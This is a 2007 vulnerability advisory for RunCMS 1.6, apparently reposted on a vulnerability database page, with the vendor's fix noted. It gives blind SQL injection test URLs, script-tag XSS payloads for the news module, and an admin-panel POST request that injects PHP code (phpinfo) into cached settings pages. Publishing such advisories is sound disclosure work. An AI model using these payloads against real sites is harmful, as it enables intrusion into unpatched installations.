RunCMS 1.6 Multiple Remote Vulnerabilities

🗓️ 26 Dec 2007 00:00:00Reported by RootType
RunCMS 1.6 Multiple Remote Vulnerabilities Advisory. Multiple security vulnerabilities: Blind SQL Injection, Stored XSS, Predictable session id, etc. Exploits available

                                                Digital&nbsp;Security&nbsp;Research&nbsp;Group&nbsp;Advisory


Application:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RunCMS
Versions&nbsp;Affected:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RunCMS&nbsp;1.6
Vendor&nbsp;URL:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://www.runcms.org
Bugs:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SQL&nbsp;Injections,&nbsp;XSS,&nbsp;PHP&nbsp;Include,&nbsp;Predictable&nbsp;session&nbsp;id,&nbsp;etc.
Exploits:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Aviable
Reported:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;14.12.2007
Vendor&nbsp;response:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;15.12.2007
Date&nbsp;of&nbsp;Public&nbsp;Advisory:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;25.12.2007
Authors:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Alexandr&nbsp;Polyakov,&nbsp;Stas&nbsp;Svistunovich
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Digital&nbsp;Security&nbsp;Research&nbsp;Group&nbsp;([email protected])



Description
***********

RunCMS&nbsp;system&nbsp;has&nbsp;multiple&nbsp;security&nbsp;vulnerabilities:

1.&nbsp;Blind&nbsp;SQL&nbsp;Injection
2.&nbsp;Stored&nbsp;XSS
3.&nbsp;Linked&nbsp;XSS
4.&nbsp;Image&nbsp;XSS
5.&nbsp;Predictable&nbsp;session&nbsp;id
6.&nbsp;Vulnerable&nbsp;password&nbsp;changing&nbsp;algorithm
7.&nbsp;Many&nbsp;PHP&nbsp;Injections&nbsp;in&nbsp;Administrator&nbsp;panel


Details
*******


1.&nbsp;Multiple&nbsp;Blind&nbsp;SQL&nbsp;Injection

Attacker&nbsp;can&nbsp;inject&nbsp;SQL&nbsp;code&nbsp;in&nbsp;modules:

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://[server]/[installdir]/modules/mydownloads/brokenfile.php?lid+DSecRG_INJECTION
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://[server]/[installdir]/modules/mydownloads/visit.php?lid=2+DSecRG_INJECTION
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://[server]/[installdir]/modules/mydownloads/ratefile.php?lid=2+DSecRG_INJECTION
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://[server]/[installdir]/modules/mylinks/ratelink.php?lid=2+DSecRG_INJECTION
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://[server]/[installdir]/modules/mylinks/modlink.php?lid=2+DSecRG_INJECTION
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://[server]/[installdir]/modules/mylinks/brokenlink.php?lid=2+DSecRG_INJECTION

Example:

This&nbsp;query&nbsp;will&nbsp;return&nbsp;link&nbsp;to&nbsp;download&nbsp;file:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GET&nbsp;http://[server]/[installdir]/modules/mydownloads/brokenfile.php?lid=1+and+1=1&nbsp;HTTP/1.0


This&nbsp;query&nbsp;will&nbsp;return&nbsp;error:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GET&nbsp;http://[server]/[installdir]/modules/mydownloads/brokenfile.php?lid=1+and+1=0&nbsp;HTTP/1.0

--------------------------------------------------------------------------------------------


2.&nbsp;Stored&nbsp;XSS

Vulnerability&nbsp;found&nbsp;in&nbsp;script&nbsp;modules/news/submit.php&nbsp;in&nbsp;post&nbsp;parameter&nbsp;name&nbsp;&quot;subject&quot;


Example:

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;POST&nbsp;http://[server]/[installdir]/modules/news/submit.php&nbsp;HTTP/1.0


&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;subject=&lt;script&gt;alert(&quot;DSecRG_XSS&quot;)&lt;/script&gt;

--------------------------------------------------------------------------------------------


3.&nbsp;Linked&nbsp;XSS&nbsp;vulnerability&nbsp;found&nbsp;in&nbsp;modules/news/index.php,&nbsp;attacker&nbsp;can&nbsp;inject&nbsp;XSS&nbsp;in&nbsp;URL&nbsp;string:

Example:

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://[server]/[installdir]/modules/news/index.php/&quot;&gt;&lt;script&gt;alert('DSecRG_XSS')&lt;/script&gt;

--------------------------------------------------------------------------------------------


4.&nbsp;Image&nbsp;XSS&nbsp;vulnerability&nbsp;in&nbsp;page&nbsp;edituser.php,&nbsp;attacker&nbsp;can&nbsp;upload&nbsp;avatar&nbsp;picture&nbsp;with&nbsp;XSS&nbsp;code:


Example:

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;More&nbsp;info:&nbsp;http://www.dsec.ru/about/articles/web_xss/&nbsp;(in&nbsp;Russian)

--------------------------------------------------------------------------------------------


5.&nbsp;Predictable&nbsp;session&nbsp;id

Session&nbsp;id&nbsp;generator&nbsp;uses&nbsp;a&nbsp;predictable&nbsp;function,&nbsp;so&nbsp;id&nbsp;can&nbsp;be&nbsp;changed&nbsp;manually.

--------------------------------------------------------------------------------------------

6.&nbsp;Password&nbsp;changing&nbsp;vulnerability

Previous&nbsp;password&nbsp;not&nbsp;required&nbsp;to&nbsp;set&nbsp;a&nbsp;new&nbsp;password.

--------------------------------------------------------------------------------------------


7.&nbsp;Administrator&nbsp;page&nbsp;PHP&nbsp;Injection

Administrator&nbsp;can&nbsp;inject&nbsp;PHP&nbsp;code&nbsp;and&nbsp;execute&nbsp;OS&nbsp;commands&nbsp;with&nbsp;webserver&nbsp;user&nbsp;privileges.

page:&nbsp;/modules/system/admin.php?fct=meta-generator
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;parameter&nbsp;name=&quot;header&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;parameter&nbsp;name=&quot;footer&quot;

page:&nbsp;/modules/system/admin.php?fct=disclaimer
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;parameter&nbsp;name=&quot;disclaimer&quot;

page:&nbsp;/modules/mydownloads/admin/index.php?op=mydownloadsConfigAdmin
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;parameter&nbsp;name='disclaimer'

page:&nbsp;/modules/newbb_plus/admin/forum_config.php
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;parameter&nbsp;name=&quot;disclaimer&quot;

page:&nbsp;/modules/mylinks/admin/index.php?op=myLinksConfigAdmin
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;parameter&nbsp;name=&quot;disclaimer&quot;

page:&nbsp;/modules/sections/admin/index.php?op=secconfig
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;parameter&nbsp;name='intro'


Example:

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;POST&nbsp;/modules/system/admin.php?fct=disclaimer&nbsp;HTTP/1.0
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Host=localhost
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;User-Agent=Mozilla/5.0&nbsp;(Windows;&nbsp;U;&nbsp;Windows&nbsp;NT&nbsp;5.1;&nbsp;ru;&nbsp;rv:1.8.1.7)&nbsp;Gecko/20070914&nbsp;Firefox/2.0.0.7
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Keep-Alive=300
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Proxy-Connection=keep-alive
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Content-Type=application/x-www-form-urlencoded
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Content-Length=226
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;POSTDATA=perpage=10&amp;popular=100&amp;newlinks=10&amp;useshots=0&amp;shotwidth=140&amp;anon_add=0&amp;rss_enable=1&amp;rss_maxitems=5&amp;rss_maxdescription=200&amp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;disclaimer=&lt;?phpinfo();?&gt;&amp;op=myLinksConfigChange


This&nbsp;page&nbsp;can&nbsp;be&nbsp;overwritten&nbsp;by&nbsp;PHP&nbsp;injection:

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;runcms_1.6\modules\sections\cache\intro.php
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;runcms_1.6\modules\mylinks\cache\disclaimer.php
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;runcms_1.6\modules\mydownloads\cache\disclaimer.php
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;runcms_1.6\modules\newbb_plus\cache\disclaimer.php
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;runcms_1.6\modules\system\cache\disclaimer.php
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;runcms_1.6\modules\system\cache\footer.php
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;runcms_1.6\modules\system\cache\header.php
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;runcms_1.6\modules\system\cache\maintenance.php



Fix&nbsp;Information
***************

RunCMS&nbsp;was&nbsp;altered&nbsp;to&nbsp;fix&nbsp;this&nbsp;flaw&nbsp;on&nbsp;Dec&nbsp;15,&nbsp;2007.&nbsp;Updated&nbsp;version&nbsp;(1.6.1)&nbsp;can&nbsp;be&nbsp;downloaded&nbsp;here:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://www.runcms.org/modules/mydownloads/visit.php?lid=131



About
*****

Digital&nbsp;Security&nbsp;is&nbsp;leading&nbsp;IT&nbsp;security&nbsp;company&nbsp;in&nbsp;Russia,&nbsp;providing&nbsp;information&nbsp;security&nbsp;consulting,
audit&nbsp;and&nbsp;penetration&nbsp;testing&nbsp;services,&nbsp;risk&nbsp;analysis&nbsp;and&nbsp;ISMS-related&nbsp;services&nbsp;and&nbsp;certification&nbsp;for
ISO/IEC&nbsp;27001:2005&nbsp;and&nbsp;PCI&nbsp;DSS&nbsp;standards.
Digital&nbsp;Security&nbsp;Research&nbsp;Group&nbsp;focuses&nbsp;on&nbsp;web&nbsp;application&nbsp;and&nbsp;database&nbsp;security&nbsp;problems
with&nbsp;vulnerability&nbsp;reports,&nbsp;advisories&nbsp;and&nbsp;whitepapers&nbsp;posted&nbsp;regularly&nbsp;on&nbsp;our&nbsp;website.


Contact:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[email protected]
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://www.dsec.ru&nbsp;(in&nbsp;Russian)
26 Dec 2007 00:00Current
7.1High risk
Vulners AI Score7.1